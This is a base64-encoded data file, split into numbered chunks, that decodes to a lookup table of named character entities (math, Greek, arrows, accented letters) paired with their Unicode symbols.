ZGUNCuKJgg0KOnVuaW9uOnBsdXMNCuKKjg0KOmNjZWRpbA0Kw4cNCnJsaGFyDQrih4wNCnN1Ym46ZQ0K4quLDQpybGFycg0K4oeEDQpybm1pZA0K4quuDQp2bnN1Yg0K4oqC4oOSDQpscmNvcm5lcg0K4oyfDQo6Y2Nhcm9uDQrEjA0KOnRpbGRlOmZ1bGw6ZXF1YWwNCuKJhQ0KdHJpZG90DQril6wNCm5vdG5pdmENCuKIjA0Kc2NzaW0NCuKJvw0KcmlnaHRhcnJvdw0K4oaSDQpub3RuaXZiDQrii74NCmxvemVuZ2UNCuKXig0Kbm90bml2Yw0K4ou9DQp2bHRyaQ0K4oqyDQo6bG93ZXI6cmlnaHQ6YXJyb3cNCuKGmA0Kcm9icmsNCuKfpw0Kc2lnbWENCs+DDQpzZG90ZQ0K4qmmDQo6ZW1wdHk6dmVyeTpzbWFsbDpzcXVhcmUNCuKWqw0KcmJhcnINCuKkjQ0Kc2NuYXANCuKqug0KOmJlcm5vdWxsaXMNCuKErA0Kc3F1YXJlDQrilqENCnNkb3RiDQriiqENCjpqc2VyY3kNCtCIDQpzcXVhcmYNCuKWqg0KcmVhbHMNCuKEnQ0Kcm9wYXINCuKmhg0KOmNhY3V0ZQ0KxIYNCnZhcnBpDQrPlg0KdmFydGhldGENCs+RDQo6cmlnaHQ6YXJyb3c6bGVmdDphcnJvdw0K4oeEDQpzY2N1ZQ0K4om9DQp1aGJsaw0K4paADQo6aXRpbGRlDQrEqA0KOmE6ZWxpZw0Kw4YNCnBsdXNiDQriip4NCnNtdGVzDQriqqzvuIANCjpsb25nbGVmdHJpZ2h0YXJyb3cNCuKfug0KOmNpcmNsZTp0aW1lcw0K4oqXDQpxcHJpbWUNCuKBlw0KdGhvcm4NCsO+DQp1cmNvcm4NCuKMnQ0KcGx1c2UNCuKpsg0KcmJicmsNCuKdsw0KdWJyY3kNCtGeDQpiYXJ3ZWRnZQ0K4oyFDQppbWFnbGluZQ0K4oSQDQpyYW5nZA0K4qaSDQo6ZG93bjphcnJvdw0K4oaTDQpyYW5nZQ0K4qalDQpiLnNpZ21hdg0K7ZuTDQpsZWZ0dGhyZWV0aW1lcw0K4ouLDQp1dGlsZGUNCsWpDQp0d29oZWFkbGVmdGFycm93DQrihp4NCm5vdGludmENCuKIiQ0KOm5vdDpwcmVjZWRlcw0K4oqADQp2YXJzdXBzZXRuZXFxDQriq4zvuIANCm5vdGlu
  3000.   [ [ %c ] ] dmINCuKLtw0Kbm90aW52Yw0K4ou2DQpwcm9mbGluZQ0K4oySDQpzcXN1cGUNCuKKkg0KdWhhcnINCuKGvg0KeHJhcnINCuKftg0KdW9nb24NCsWzDQp0aW1lcw0Kw5cNCm46bGVmdGFycm93DQrih40NCjp1cDp0ZWUNCuKKpQ0KdW1hY3INCsWrDQpyc3F1b3INCuKAmQ0KcmFkaWMNCuKImg0Kc3VwOmUNCuKrhg0KZXFjb2xvbg0K4omVDQpzZWFycg0K4oaYDQo6bm90Omxlc3M6ZXF1YWwNCuKJsA0Kc2NpcmMNCsWdDQpyY2VpbA0K4oyJDQpzdXBkb3QNCuKqvg0KcG91bmQNCsKjDQp0aWxkZQ0Ky5wNCm5zdXBzZXRlcXENCuKrhsy4DQo6dXJpbmcNCsWuDQo6ZWNhcm9uDQrEmg0Kc210DQriqqoNCnVtbA0KwqgNCndmcg0K7ZS0DQpwaXYNCs+WDQp1aGFybA0K4oa/DQo6b3RpbWVzDQriqLcNCnJlZw0Kwq4NCnNoeQ0Kwq0NCnRoZXRhDQrOuA0KdmZyDQrtlLMNCnRoa2FwDQriiYgNCnRhdQ0Kz4QNCnZjeQ0K0LINCnVncg0Kz4UNCjpsZWZ0OnVwOmRvd246dmVjdG9yDQripZENCmNpcjplDQrip4MNCnVmcg0K7ZSyDQpsdHI6cGFyDQrippYNCjpkb3duOmxlZnQ6dmVjdG9yDQrihr0NCnVjeQ0K0YMNCjpjb25pbnQNCuKIrw0KendqDQrigI0NCnRncg0Kz4QNCmJveDpoDQrilZANCjpoc3Ryb2sNCsSmDQpzcXN1YmUNCuKKkQ0KdGZyDQrtlLENCnNjZQ0K4qqwDQp0Y3kNCtGCDQpwYXINCuKIpQ0Kc2dyDQrPgw0KOmVhY3V0ZQ0Kw4kNCjpkb3VibGU6Y29udG91cjppbnRlZ3JhbA0K4oivDQo6ZG93bmFycm93DQrih5MNCjpyaWdodDpkb3duOnRlZTp2ZWN0b3INCuKlnQ0Kc2ZyDQrtlLANCmN1d2VkDQrii48NCmd0ZG90DQrii5cNCmhvYXJyDQrih78NCnNjeQ0K0YENCnNpbQ0K4oi8DQpjdXJhcnJtDQripLwNCjp1bmlvbg0K4ouDDQpyZ3INCs+BDQo6bm90OmxlZnQ6dHJpYW5nbGU6ZXF1YWwNCuKLrA0Kb2ZjaXINCuKmvw0KOnJpZ2h0OnRyaWFuZ2xlDQriirMNCjpjb2xvbmUNCuKptA0KOm90aWxkZQ0Kw5UNCnN1YnN1Yg0K4quVDQpncmF2ZQ0KYA0KaWlvdGENCuKEqQ0KOm86ZWxpZw0KxZINCnByaW1lcw0K4oSZDQpyZnINCu2Urw0KYmlndXBsdXMNCuKohA0KcmN5DQrRgA0KcmhvDQrPgQ0KOnVicmN5DQrQjg0KdmVlDQriiKgNCmN1dmVlDQrii44NCnBoaQ0Kz4YNCjplOmVhY2dyDQrOiQ0KcWZyDQrtlK4NCnZzdWJuZQ0K4oqK77iADQplc2RvdA0K4omQDQppZXhjbA0KwqENCmxjZWlsDQrijIgNCjpsZWZ0OnRyaWFuZ2xlDQriirINCm5lZG90DQriiZDMuA0KemVldHJmDQrihKgNCmdzaW1lDQriqo4NCm5sc2ltDQriibQNCnN3YXJoaw0K4qSmDQpwZ3INCs+ADQpjdXBvcg0K4qmFDQpub3Rpbg0K4oiJDQpiLm9tZWdhDQrtm5oNCnJsbQ0K4oCPDQpwZnINCu2UrQ0Kc29sDQovDQp0b3ANCuKKpA0KdHN0cm9rDQrFpw0KZG91YmxlYmFyd2VkZ2UNCuKMhg0KcGN5DQrQvw0KOmRjYXJvbg0KxI4NCnllbg0KwqUNCmR1aGFyDQripa8NCnByZQ0K4qqvDQpjc3VwZQ0K4quSDQplcGx1cw0K4qmxDQprYXBwYQ0KzroNCm1hbHRlc2UNCuKcoA0KeWFjdXRl
  3001.   [ [ %c ] ] DQrDvQ0KYm94OnYNCuKVkQ0KZHVhcnINCuKHtQ0KZXF1aXY6ZDpkDQriqbgNCmdzaW1sDQriqpANCm1kYXNoDQrigJQNCm53OmFycg0K4oeWDQpyaWdodGxlZnRoYXJwb29ucw0K4oeMDQpzdWINCuKKgg0KOnVvZ29uDQrFsg0KZ3RjaXINCuKpug0KaW1hdGgNCsSxDQpsbHRyaQ0K4pe6DQpub3RuaQ0K4oiMDQpyc2gNCuKGsQ0KZnJhc2wNCuKBhA0Kc3Vic3VwDQriq5MNCm5jb25nDQriiYcNCjp1bWFjcg0KxaoNCnZhcnByb3B0bw0K4oidDQpsYmFycg0K4qSMDQo6c2NpcmMNCsWcDQpzdW0NCuKIkQ0KbG5zaW0NCuKLpg0KaW5maW4NCuKIng0KaW9nb24NCsSvDQo6YWdyYXZlDQrDgA0KaWpsaWcNCsSzDQpsYXJyc2ltDQripbMNCmFzeW1wDQriiYgNCnBzaQ0Kz4gNCnNxY2Fwcw0K4oqT77iADQppbWFjcg0KxKsNCmxvcGFyDQripoUNCm9hY2dyDQrPjA0KYi5lcHNpdg0K7ZucDQpzcGFkZXMNCuKZoA0KbmRhc2gNCuKAkw0KOnZlcnRpY2FsOnNlcGFyYXRvcg0K4p2YDQpvY2lyYw0Kw7QNCnpncg0KzrYNCmZyb3duDQrijKINCmptYXRoDQrItw0KcHJvZmFsYXINCuKMrg0KOm50aWxkZQ0Kw5ENCjp0aWxkZQ0K4oi8DQo6Z2NlZGlsDQrEog0KcnRpbWVzDQrii4oNCnN1cA0K4oqDDQp6ZnINCu2Utw0KemN5DQrQtw0KZW1wdHlzZXQNCuKIhQ0KYXBwcm94ZXENCuKJig0KOnJpZ2h0OnZlY3RvcjpiYXINCuKlkw0KbmhwYXINCuKrsg0KeWZyDQrtlLYNCmVyYXJyDQripbENCnNxdQ0K4pahDQp5Y3kNCtGLDQpoYXJydw0K4oatDQpyaWdodGFycm93dGFpbA0K4oajDQp4b3RpbWUNCuKogg0KeGdyDQrOvg0KaWlpbnQNCuKIrQ0KbnNob3J0bWlkDQriiKQNCjp0aGV0YQ0KzpgNCnhmcg0K7ZS1DQpjdWxhcnJwDQripL0NCmltYWdlDQrihJENCmxiYnJrDQrinbINCmVsbA0K4oSTDQpnZ3INCs6zDQpuYWJsYQ0K4oiHDQpib3QNCuKKpQ0KZ2ZyDQrtlKQNCmJsazE0DQrilpENCmR0ZG90DQrii7ENCmxhbmdkDQrippENCm5lYXJyDQrihpcNCm9kYXNoDQriip0NCjpwYXJ0aWFsOmQNCuKIgg0KZ2N5DQrQsw0Kc3Vic2V0DQriioINCjp3ZWRnZQ0K4ouADQpzdWJzaW0NCuKrhw0KYmxrMTINCuKWkg0KZ2VzDQriqb4NCmdsYQ0K4qqlDQpnbmUNCuKqiA0KY3N1YmUNCuKrkQ0Kbmx0cmkNCuKLqg0Kb2VsaWcNCsWTDQphY2QNCuKIvw0KZmZyDQrtlKMNCmJsazM0DQrilpMNCmRpZQ0KwqgNCmZjeQ0K0YQNCmdlcQ0K4omlDQpuZ2VxcQ0K4omnzLgNCjp1YWNncg0Kzo4NCjp1ZGlncg0KzqsNCmVncg0KzrUNCmd0cXVlc3QNCuKpvA0KbmF0dXINCuKZrg0KZWdzDQriqpYNCmxhdGVzDQriqq3vuIANCmxkcXVvDQrigJwNCmVmcg0K7ZSiDQpucHINCuKKgA0Kc3VwbjplDQriq4wNCnhvcGx1cw0K4qiBDQo6bm90OmxlZnQ6dHJpYW5nbGU6YmFyDQrip4/MuA0KZWN5DQrRjQ0KOnVjaXJjDQrDmw0KYmlnc3FjdXANCuKohg0KYnNpbWUNCuKLjQ0Kb21lZ2ENCs+JDQpjaXINCuKXiw0KZGdyDQrOtA0KYXdpbnQNCuKokQ0KYW1wDQomDQpkZnINCu2UoQ0KZ2FwDQriqoYN
  3002.   [ [ %c ] ] Cmdsag0K4qqkDQpvcnYNCuKpmw0KZXhpc3QNCuKIgw0KZGN5DQrQtA0KZW5nDQrFiw0KOmxlZnQ6dmVjdG9yOmJhcg0K4qWSDQplcXVpdg0K4omhDQpvbWFjcg0KxY0NCmlhY2dyDQrOrw0KaWRpZ3INCs+KDQpibmUNCj3ig6UNCjpub3Q6bGVmdDp0cmlhbmdsZQ0K4ouqDQo6YmFyd2VkDQrijIYNCmNmcg0K7ZSgDQpzc21pbGUNCuKMow0KOnN1Y2NlZWRzOnNsYW50OmVxdWFsDQriib0NCnZzdXBuZQ0K4oqL77iADQpjdGRvdA0K4ouvDQpsb2Fycg0K4oe9DQpucjphcnINCuKHjw0KZXFzaW0NCuKJgg0KaWNpcmMNCsOuDQpsYnJrZQ0K4qaLDQpuZ3NpbQ0K4om1DQpvbGNyb3NzDQriprsNCnN1Y2NuZXFxDQriqrYNCmRpdg0Kw7cNCnBybnNpbQ0K4ouoDQpiZ3INCs6yDQpjaGkNCs+HDQpnZ2cNCuKLmQ0KYW5ncnR2YmQNCuKmnQ0KYnJldmUNCsuYDQpiZnINCu2Unw0KYmN5DQrQsQ0KZGlhbW9uZHN1aXQNCuKZpg0KcnRocmVlDQrii4wNCmFncg0KzrENCmxybQ0K4oCODQpsZWZ0cmlnaHRhcnJvdw0K4oaUDQphZnINCu2Ung0KZG90DQrLmQ0KZ2VsDQrii5sNCjpvc2xhc2gNCsOYDQpjcmFycg0K4oa1DQpsbGFycg0K4oeHDQpuaGFycg0K4oauDQphY3kNCtCwDQplZjpkb3QNCuKJkg0KOmxlZnQ6ZG93bjp2ZWN0b3I6YmFyDQripZkNCmFuZA0K4oinDQpvcmQNCuKpnQ0KZGVnDQrCsA0KbnNjDQriioENCmNlbnRlcmRvdA0KwrcNCnJpZ2h0cmlnaHRhcnJvd3MNCuKHiQ0KY2FwDQriiKkNCmxzaA0K4oawDQphbmcNCuKIoA0KZWxzDQriqpUNCm51bQ0KIw0KOmRvdWJsZTpsZWZ0OnRlZQ0K4qukDQpsbmVxcQ0K4omoDQpzcWN1cHMNCuKKlO+4gA0Kb2dyDQrOvw0KZXBzaXYNCs+1DQphcGUNCuKJig0Kb2htDQrOqQ0KYnVtcGUNCuKJjw0KbWludXMNCuKIkg0KbGFwDQriqoUNCm1pZA0K4oijDQpuZ3QNCuKJrw0Kb2ZyDQrtlKwNCm9jeQ0K0L4NCmU6ZDpkb3QNCuKptw0KaGNpcmMNCsSlDQpsaGJsaw0K4paEDQpuZXNpbQ0K4omCzLgNCm5ncg0Kzr0NCm9sY2lyDQripr4NCm5sZQ0K4omwDQpsYXQNCuKqqw0KbWFwDQrihqYNCm5mcg0K7ZSrDQpvZ3QNCuKngQ0KYnNvbGINCuKnhQ0KbmN5DQrQvQ0KbG9icmsNCuKfpg0KbWdyDQrOvA0KbGVzDQriqb0NCmxuZQ0K4qqHDQpsZWZ0aGFycG9vbnVwDQrihrwNCmxlc2NjDQriqqgNCm5sZXNzDQriia4NCjpnYW1tYWQNCs+cDQptZnINCu2Uqg0KbmFwDQriiYkNCnJzYXF1bw0K4oC6DQo6dmRhc2gNCuKKqQ0Kb2xhcnINCuKGug0KbGVxDQriiaQNCm1jeQ0K0LwNCm1obw0K4oSnDQpwdW5jc3ANCuKAiA0KcnBhcmd0DQrippQNCjp3Y2lyYw0KxbQNCjpkYWdnZXINCuKAoQ0KaW50DQriiKsNCmxncg0KzrsNCmN3aW50DQriiLENCmxoYXJkDQrihr0NCjphYnJldmUNCsSCDQpuYXBvcw0KxYkNCmlmZg0K4oeUDQpsZnINCu2UqQ0KbGFycmINCuKHpA0KbGN5DQrQuw0KbG9hbmcNCuKfrA0KbmxlcXENCuKJpsy4DQo6cnJpZ2h0YXJyb3cNCuKHmw0Kb2x0DQrip4ANCnByZWNlcQ0K4qqvDQprZ3INCs66DQpvaGJh
  3003.   [ [ %c ] ] cg0K4qa1DQo6b3ZlcjpwYXJlbnRoZXNpcw0K4o+cDQp6Y2Fyb24NCsW+DQpjcm9zcw0K4pyXDQpjdWVzYw0K4oufDQpsYXF1bw0KwqsNCmxhcnJiZnMNCuKknw0Ka2ZyDQrtlKgNCm5vdA0KwqwNCmIua2FwcGENCu2biw0Ka2N5DQrQug0KbmdlDQriibENCmV0aA0Kw7ANCmxveg0K4peKDQpubHQNCuKJrg0KcmlnaHRsZWZ0YXJyb3dzDQrih4QNCm9saW5lDQrigL4NCmFzdA0KKg0KY3VwDQriiKoNCmpmcg0K7ZSnDQpuYnVtcA0K4omOzLgNCmpjeQ0K0LkNCmlncg0KzrkNCm5pcw0K4ou8DQppZnINCu2Upg0KbmxhcnINCuKGmg0KaWN5DQrQuA0KaW5maW50aWUNCuKnnQ0Kbml2DQriiIsNCnRwcmltZQ0K4oC0DQo6bm90OnN1Y2NlZWRzOnNsYW50OmVxdWFsDQrii6ENCnJtb3VzdGFjaGUNCuKOsQ0KZXRhDQrOtw0KbGVnDQrii5oNCnN0cmFpZ2h0cGhpDQrPlQ0Kc3dud2FyDQripKoNCmxoYXJ1DQrihrwNCmhmcg0K7ZSlDQppbXBlZA0KxrUNCjpzaWdtYQ0KzqMNCjpwOnNncg0KzqgNCjpncmVhdGVyOmVxdWFsDQriiaUNCmx2bjplDQriiajvuIANCnphY3V0ZQ0KxboNCjpuZWdhdGl2ZTptZWRpdW06c3BhY2UNCuKAiw0KamNpcmMNCsS1DQpuOnZkYXNoDQriiq4NCmR0cmlmDQrilr4NCmx1cmRzaGFyDQripYoNCmN1ZXByDQrii54NCm5hcGlkDQriiYvMuA0KYXJpbmcNCsOlDQpic2VtaQ0K4oGPDQptaWNybw0KwrUNCm5leGlzdHMNCuKIhA0KaXByb2QNCuKovA0KbnJhcnINCuKGmw0Kc3ViZG90DQriqr0NCmduYXBwcm94DQriqooNCjpoOmE6cjpkY3kNCtCqDQpuc2ltZQ0K4omEDQpzdWJzZXRuZXENCuKKig0Kc3NldG1uDQriiJYNCjp0c3Ryb2sNCsWmDQpwcm9wdG8NCuKInQ0Kc3Vic2V0ZXFxDQriq4UNCnN1Y2NlcQ0K4qqwDQpyYXRpb25hbHMNCuKEmg0KZWFjZ3INCs6tDQp1ZmlzaHQNCuKlvg0KOnlhY3V0ZQ0Kw50NCmVtcHR5DQriiIUNCnVkYmxhYw0KxbENCm51bXNwDQrigIcNCnZlbGxpcA0K4ouuDQplY2lyYw0Kw6oNCmxvbmdsZWZ0cmlnaHRhcnJvdw0K4p+3DQphbGVwaA0K4oS1DQphbmdydA0K4oifDQo6dGhpbjpzcGFjZQ0K4oCJDQpwZXJjbnQNCiUNCmxlc2RvdG8NCuKqgQ0KZzplbA0K4qqMDQphbmdzdA0Kw4UNCmNjdXBzDQriqYwNCnNoY2hjeQ0K0YkNCmZvcmt2DQriq5kNCm9wZXJwDQriprkNCmRkYXJyDQrih4oNCjpkb3VibGU6cmlnaHQ6YXJyb3cNCuKHkg0KbGRyZGhhcg0K4qWnDQpvbWljcm9uDQrOvw0Kb3JhcnINCuKGuw0KcGhtbWF0DQrihLMNCmJsYW5rDQrikKMNCmduc2ltDQrii6cNCjpwcmVjZWRlczplcXVhbA0K4qqvDQpucGFydA0K4oiCzLgNCnByZWNjdXJseWVxDQriibwNCjpub3Q6cmlnaHQ6dHJpYW5nbGU6YmFyDQrip5DMuA0KZ2FtbWENCs6zDQo6Y2FwaXRhbDpkaWZmZXJlbnRpYWw6ZA0K4oWFDQpkaXNpbg0K4ouyDQpvdmJhcg0K4oy9DQpyZHF1b3INCuKAnQ0KbmFwOmUNCuKpsMy4DQp1YWN1dGUNCsO6DQpuc21pZA0K4oikDQp1d2FuZ2xlDQripqcNCjplbGVtZW50DQriiIgNCnBhcnNpbQ0K4quz
  3004.   [ [ %c ] ] DQptdW1hcA0K4oq4DQo6dXBwZXI6cmlnaHQ6YXJyb3cNCuKGlw0KZmx0bnMNCuKWsQ0KY2Fyb24NCsuHDQpscmhhcg0K4oeLDQpzdWNjYXBwcm94DQriqrgNCndlaWVycA0K4oSYDQphbmdsZQ0K4oigDQpiZHF1bw0K4oCeDQpkYmxhYw0Ky50NCmxzaW1nDQriqo8NCnh1cGx1cw0K4qiEDQpscmFycg0K4oeGDQo6cG9pbmNhcmVwbGFuZQ0K4oSMDQphbWFsZw0K4qi/DQpsc2ltZQ0K4qqNDQo6dDpoZ3INCs6YDQphb2dvbg0KxIUNCmJlcHNpDQrPtg0KY29tbWENCiwNCmFtYWNyDQrEgQ0KY29sb24NCjoNCm9yZGVyDQrihLQNCnRjYXJvbg0KxaUNCmNoZWNrDQrinJMNCjpzdWJzZXQNCuKLkA0KY3VkYXJybA0K4qS4DQpud2Fycg0K4oaWDQpubDphcnINCuKHjQ0Kc3BhZGVzdWl0DQrimaANCmdjaXJjDQrEnQ0KbHRjaXINCuKpuQ0Kc2Vzd2FyDQripKkNCmNhcmV0DQrigYENCjpub3Q6Z3JlYXRlcjplcXVhbA0K4omxDQppbWFncGFydA0K4oSRDQpzaWdtYXYNCs+CDQpzb2xiYXINCuKMvw0KYWN1dGUNCsK0DQpibG9jaw0K4paIDQpkZWx0YQ0KzrQNCmIuYWxwaGENCu2bgg0KcGVybWlsDQrigLANCnJhdGFpbA0K4qSaDQpkb3RlcQ0K4omQDQpmZmxpZw0K76yADQo6aTpqbGlnDQrEsg0Kc3VjY25zaW0NCuKLqQ0Kc29mdGN5DQrRjA0KY3VkYXJycg0K4qS1DQpwbGFua3YNCuKEjw0KYi5waQ0K7ZuRDQpvcGx1cw0K4oqVDQpuOmd0DQriiavig5INCnRlbHJlYw0K4oyVDQpsZWZ0aGFycG9vbmRvd24NCuKGvQ0KbHRkb3QNCuKLlg0KdG9wYm90DQrijLYNCjp0OnNjeQ0K0KYNCmw6ZWcNCuKqiw0Kc21hc2hwDQriqLMNCmxlc3NzaW0NCuKJsg0KcmJyYWNlDQp9DQpib3h1cg0K4pSUDQpzaWdtYWYNCs+CDQpyYnJhY2sNCl0NCmRhc2h2DQriiqMNCnN1cHBsdXMNCuKrgA0KbnZzaW0NCuKIvOKDkg0KY29tcGxleGVzDQrihIINCm46bGwNCuKLmMy4DQpiYWNrY29uZw0K4omMDQpudmw6YXJyDQripIINCnRvcGNpcg0K4quxDQpkaWFtcw0K4pmmDQpwbGFuY2sNCuKEjw0KYm94dnINCuKUnA0KcGVyaW9kDQouDQphYWNncg0KzqwNCm46Z2cNCuKLmcy4DQpyYXJybHANCuKGrA0KYi54aQ0K7ZuPDQpndm46ZQ0K4omp77iADQpuc3VwZQ0K4oqJDQpnaW1lbA0K4oS3DQpsYnJrc2xkDQripo8NCjpsZWZ0OnVwOnRlZTp2ZWN0b3INCuKloA0Kc2ltZG90DQriqaoNCmFjaXJjDQrDog0KaXVrY3kNCtGWDQpwcmVjbmVxcQ0K4qq1DQpuOmx0DQriiarig5INCmZpbGlnDQrvrIENCm5ydHJpDQrii6sNCjpyaWdodGFycm93DQrih5INCjpncmVhdGVyOmZ1bGw6ZXF1YWwNCuKJpw0KbmFwcHJveA0K4omJDQo6dW5kZXI6YnJhY2UNCuKPnw0KbGFlbXB0eXYNCuKmtA0Kd2VkYmFyDQriqZ8NCmNpcmZuaW50DQriqJANCmdlcXNsYW50DQriqb4NCmdlc2NjDQriqqkNCjphcHBseTpmdW5jdGlvbg0K4oGhDQpjbHVicw0K4pmjDQpuOnY6ZGFzaA0K4oqvDQpzZnJvd24NCuKMog0KdmFuZ3J0DQrippwNCmZqbGlnDQpmag0KY2VkaWwNCsK4DQo6bGVmdDpyaWdodDp2ZWN0b3IN
  3005.   [ [ %c ] ] CuKljg0Kcm1vdXN0DQrijrENCjpzOmhjeQ0K0KgNCnhzcWN1cA0K4qiGDQo6emNhcm9uDQrFvQ0KYm94dmwNCuKUpA0Kc3Vwc2V0bmVxcQ0K4quMDQo6ZG91YmxlOnVwOmRvd246YXJyb3cNCuKHlQ0KYi5udQ0K7ZuODQo6bGVmdDpyaWdodDphcnJvdw0K4oaUDQo6cmlnaHQ6dGVlOnZlY3Rvcg0K4qWbDQo6dmVydGljYWw6YmFyDQriiKMNCnVwYXJyb3cNCuKGkQ0KbGJya3NsdQ0K4qaNDQptaW51c2R1DQriqKoNCnJhcnJoaw0K4oaqDQpib3h2aA0K4pS8DQphZWxpZw0Kw6YNCmJveHVsDQrilJgNCnRjZWRpbA0KxaMNCmIubXUNCu2bjQ0KYmNvbmcNCuKJjA0KY2NhcHMNCuKpjQ0KcmFycmZzDQripJ4NCndlZGdlcQ0K4omZDQphbHBoYQ0KzrENCm5wcmVjDQriioANCmJveGRyDQrilIwNCnJhcnJhcA0K4qW1DQpkb3duaGFycG9vbnJpZ2h0DQrih4INCmlzaW5zDQrii7QNCjpwOmhncg0KzqYNCmVvZ29uDQrEmQ0KOmRvd246cmlnaHQ6dmVjdG9yOmJhcg0K4qWXDQpleHBvbmVudGlhbGUNCuKFhw0KZmxsaWcNCu+sgg0KOmN1cDpjYXANCuKJjQ0KaXNpbnYNCuKIiA0KZ25lcXENCuKJqQ0KZW1hY3INCsSTDQpuc3Bhcg0K4oimDQpiLmdhbW1hDQrtm4QNCnZlZWJhcg0K4oq7DQo6emFjdXRlDQrFuQ0KbnN1Y2MNCuKKgQ0Kbmg6YXJyDQrih44NCmNjaXJjDQrEiQ0KY3VybHl2ZWUNCuKLjg0KYm94aGQNCuKUrA0KZGhhcmwNCuKHgw0KcmFycnBsDQripYUNCjpsZWZ0OnVwOnZlY3RvcjpiYXINCuKlmA0KbHJ0cmkNCuKKvw0KbnJpZ2h0YXJyb3cNCuKGmw0KbnN1YmUNCuKKiA0KbnN1YnNldGVxcQ0K4quFzLgNCmJveG1pbnVzDQriip8NCm5jb25nZG90DQriqa3MuA0KcmhhcnVsDQripawNCjpyZXZlcnNlOmVxdWlsaWJyaXVtDQrih4sNCmRvdHNxdWFyZQ0K4oqhDQpuYXR1cmFsDQrima4NCmJsYWNrc3F1YXJlDQrilqoNCjpsZWZ0OnRlZTp2ZWN0b3INCuKlmg0KZGhhcnINCuKHgg0KaW50cHJvZA0K4qi8DQpsZXNzZG90DQrii5YNCm50cmlhbmdsZWxlZnQNCuKLqg0KOmRvdWJsZTp2ZXJ0aWNhbDpiYXINCuKIpQ0KcmFycnRsDQrihqMNCjpzdXBlcnNldDplcXVhbA0K4oqHDQpuOmxlZnRyaWdodGFycm93DQrih44NCjpub3Q6Y29uZ3J1ZW50DQriiaINCnZhcnRyaWFuZ2xlbGVmdA0K4oqyDQo6Y2VkaWxsYQ0KwrgNCjpsbGVmdGFycm93DQrih5oNCnVkaWFncg0KzrANCjpsZWZ0OmRvd246dmVjdG9yDQrih4MNCmxzcXVvDQrigJgNCjpkb3Q6ZXF1YWwNCuKJkA0KZXBzaWxvbg0KzrUNCjpub3Q6Z3JlYXRlcg0K4omvDQo6aHVtcDpkb3duOmh1bXANCuKJjg0KanVrY3kNCtGUDQpib3hkbA0K4pSQDQpsdHJpZg0K4peCDQpzcXN1cHNldGVxDQriipINCmJveGh1DQrilLQNCjpsZWZ0OmRvd246dGVlOnZlY3Rvcg0K4qWhDQpsdHJpZQ0K4oq0DQo6bm90OnByZWNlZGVzOmVxdWFsDQriqq/MuA0KYi5kZWx0YQ0K7ZuFDQo6eTp1Y3kNCtCuDQpndHJsZXNzDQriibcNCnRycGV6aXVtDQrij6INCmx2ZXJ0bmVxcQ0K4omo77iADQp4d2VkZ2UNCuKLgA0K
  3006.   [ [ %c ] ] OnI6ZTpnDQrCrg0KdGhpbnNwDQrigIkNCmxlc3NndHINCuKJtg0KdGltZXNiDQriiqANCmVyOmRvdA0K4omTDQo6aGlsYmVydDpzcGFjZQ0K4oSLDQp0aW1lc2QNCuKosA0KZnBhcnRpbnQNCuKojQ0KOnN1cHNldA0K4ouRDQpzdXBoc3ViDQriq5cNCnJjZWRpbA0KxZcNCjpyaWdodDp0ZWU6YXJyb3cNCuKGpg0Kc2ltbDplDQriqp8NCjpkOmRvdHJhaGQNCuKkkQ0KdHJpdGltZQ0K4qi7DQo6YmVjYXVzZQ0K4oi1DQpzdXBtdWx0DQriq4INCmJldHdlZW4NCuKJrA0KYm5lcXVpdg0K4omh4oOlDQo6Y2lyY2xlOmRvdA0K4oqZDQo6bGVmdDp0ZWU6YXJyb3cNCuKGpA0Kc3VwZWRvdA0K4quEDQpiaWdjaXJjDQril68NCjpsZXNzOnNsYW50OmVxdWFsDQriqb0NCjpyaWdodDp0cmlhbmdsZTplcXVhbA0K4oq1DQp0cmlwbHVzDQriqLkNCjpkaWFtb25kDQrii4QNCnNlYXJoaw0K4qSlDQo6c3F1YXJlDQrilqENCnRoZXRhdg0Kz5ENCmFsZWZzeW0NCuKEtQ0KdWdyYXZlDQrDuQ0KdWxjb3JuDQrijJwNCnByZWNuc2ltDQrii6gNCnJmbG9vcg0K4oyLDQpuZTphcnINCuKHlw0KbDphdGFpbA0K4qSbDQpzY25zaW0NCuKLqQ0KY2lyY2xlZGFzdA0K4oqbDQo6Y29uZ3J1ZW50DQriiaENCnJpc2luZ2RvdHNlcQ0K4omTDQpzaW1nOmUNCuKqoA0Kc2NlZGlsDQrFnw0KOm5vdDpzdWJzZXQNCuKKguKDkg0KOmNjb25pbnQNCuKIsA0KY29uZ2RvdA0K4qmtDQpzaG9ydG1pZA0K4oijDQpub3RpbmRvdA0K4ou1zLgNCjp6OmhjeQ0K0JYNCnNjYXJvbg0KxaENCnRhcmdldA0K4oyWDQp6aWdyYXJyDQrih50NCjp1dGlsZGUNCsWoDQo6cHJlY2VkZXM6c2xhbnQ6ZXF1YWwNCuKJvA0KOmRvd246bGVmdDp2ZWN0b3I6YmFyDQripZYNCjp5OmFjeQ0K0K8NCnRoa3NpbQ0K4oi8DQo6dGhlcmVmb3JlDQriiLQNCmxvb3BhcnJvd3JpZ2h0DQrihqwNCnN1cGhzb2wNCuKfiQ0KZWxpbnRlcnMNCuKPpw0KOm5vdDpyaWdodDp0cmlhbmdsZTplcXVhbA0K4outDQpkaXZpZGVvbnRpbWVzDQrii4cNCnNhY3V0ZQ0KxZsNCjpsZWZ0OmFycm93OmJhcg0K4oekDQo6aW52aXNpYmxlOnRpbWVzDQrigaINCnRyaWFuZ2xlbGVmdGVxDQriirQNCnVwZG93bmFycm93DQrihpUNCmNsdWJzdWl0DQrimaMNCnZhcnJobw0Kz7ENCnZlcmJhcg0KfA0KYi46Z2FtbWFkDQrtn4oNCnZhcnBoaQ0Kz5UNCjp2dmRhc2gNCuKKqg0KOm5vdDpzdXBlcnNldDplcXVhbA0K4oqJDQpkZW1wdHl2DQriprENCnRoZXJlNA0K4oi0DQp2YXJzdWJzZXRuZXFxDQriq4vvuIANCnJjYXJvbg0KxZkNCnJmaXNodA0K4qW9DQpkZG90c2VxDQriqbcNCnJhbmdsZQ0K4p+pDQplcXNsYW50Z3RyDQriqpYNCnBsdXNkbw0K4oiUDQpnZXNkb3RvbA0K4qqEDQo6eTppY3kNCtCHDQo6ZG91YmxlOmRvdA0KwqgNCnVicmV2ZQ0Kxa0NCnJwYXINCikNCnNzY3INCu2TiA0KOm5vdDpwcmVjZWRlczpzbGFudDplcXVhbA0K4ougDQpwbHVzbW4NCsKxDQpwcmVjDQriiboNCnJhY3V0ZQ0KxZUNCmJveHRpbWVzDQriiqANCmN1cGJyY2Fw
